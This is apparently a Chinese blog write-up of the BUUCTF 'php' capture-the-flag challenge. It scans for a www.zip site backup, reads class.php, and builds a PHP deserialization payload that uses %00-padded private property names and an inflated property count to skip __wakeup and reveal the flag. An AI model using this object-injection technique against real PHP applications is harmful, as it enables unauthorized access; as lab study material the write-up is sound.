

buuctf_php

原创

君陌上 于 2021-08-01 09:32:14 发布 59 收藏

版权声明：本文为博主原创文章，遵循 [CC 4.0 BY-SA](https://creativecommons.org/licenses/by-sa/4.0/) 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/weixin_53549425/article/details/119293469

版权

buuctf_php

因为每次猫猫都在我键盘上乱跳，所以我有一个良好的备份网站的习惯
不愧是我!!!

Syclover @ cl4y

https://blog.csdn.net/weixin_53549425

我们来看下这道题，打开后有提示备份文件，对于备份文件我们可以使用御剑扫描后台目录

御剑1.5《想念初恋》 BY: 御剑孤独 QQ:343034656

绑定域名查询 | 批量扫描后台 | 批量检测注入 | 多种编码转换 | MD5解密相关 | 系统信息

吸取绑定域名列表 | 开始扫描 | 停止扫描 | 继续扫描 | 暂停扫描 | 200 | DIR.txt-可用 | 双击操作 | result.txt-使用
 3xx | JSP.txt-可用
 403 | MDB.txt-可用
PHP.txt-可用

外部导入域名列表 | 模式: HEAD - 速度极快 | 线程: 20 | 超时: 3 | 扫描信息: 扫描完成... | 扫描速度: 0/每秒

作业数量: 1

ID	地址	HTTP响应
1	http://93434dfc-05dc-4df1-b950-8607835507e8.node4.buoj.cn/www.zip	200



下载这个www.zip后发现

名称	压缩前	压缩后	类型	修改日期
.. (上级目录)			文件夹	
class.php	1 KB	1 KB	PHP 文件	2019-10-14 07:23
flag.php	1 KB	1 KB	PHP 文件	2019-10-14 08:44
index.js	10.3 KB	3.6 KB	JavaScript 文件	2017-11-06 04:26
index.php	1.8 KB	1 KB	PHP 文件	2019-10-14 08:34
style.css	1 KB	1 KB	层叠样式表文档	2017-11-06 04:26

https://blog.csdn.net/weixin_53549425

有这些文件，首先打开flag.php，发现不是我们想要的flag，所以我们打开class.php，

```
<?php
include 'flag.php';

error_reporting(0);

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "<br>NO!!!hacker!!!<br>";
            echo "You name is: ";
            echo $this->username;echo "<br>";
            echo "You password is: ";
            echo $this->password;echo "<br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "<br>hello my friend~~<br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>
```

首先我们注意关于username和password都是private，这个在下面的解答中会用到

```
class Name{  
    private $username = 'nonono';  
    private $password = 'yesyes';  
}
```

然后打开index.php观察这个代码，由unserialize()知涉及反序列化，再打开class.php

```
function __destruct(){  
    if ($this->password != 100) {  
        echo "</br>NO!!!hacker!!!</br>";  
        echo "You name is: ";  
        echo $this->username;echo "</br>";  
        echo "You password is: ";  
        echo $this->password;echo "</br>";  
        die();  
    }  
    if ($this->username === 'admin') {  
        global $flag;  
        echo $flag;  
    }else{  
        echo "</br>hello my friend~~</br>sorry i can't give you the flag!";  
        die();  
    }  
}
```

https://blog.csdn.net/weixin_53549425

我们可以知道只有username为admin时且password为100时，才会输出flag

而反序列化后调用_wakeup会直接覆盖输入的用户名。一个简单的办法是直接在class下面创建一个对象然后序列化。由此我们可以构造payload

```
$a= new Name('admin',100);  
$b= serialize($a);  
var_dump($b);
```

```
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
```

此时我们需要注意两个点，一个是private属性序列化:%00类名%00成员名，所有要在Name、username、以及password前面加%00，另一个是关于_wakeup函数，因为要绕过wakeup,把Name后的数字改成3，当反序列化时，若属性个数大于真实属性个数时，则会跳过__wakeup()，本题得解

因为每次猫猫都在我键盘上乱跳，所以我有一个良好的备份网站的习惯
不愧是我!!!

```
flag[16af59bb-75e8-401a-b73e-dab21b9ec807]
```

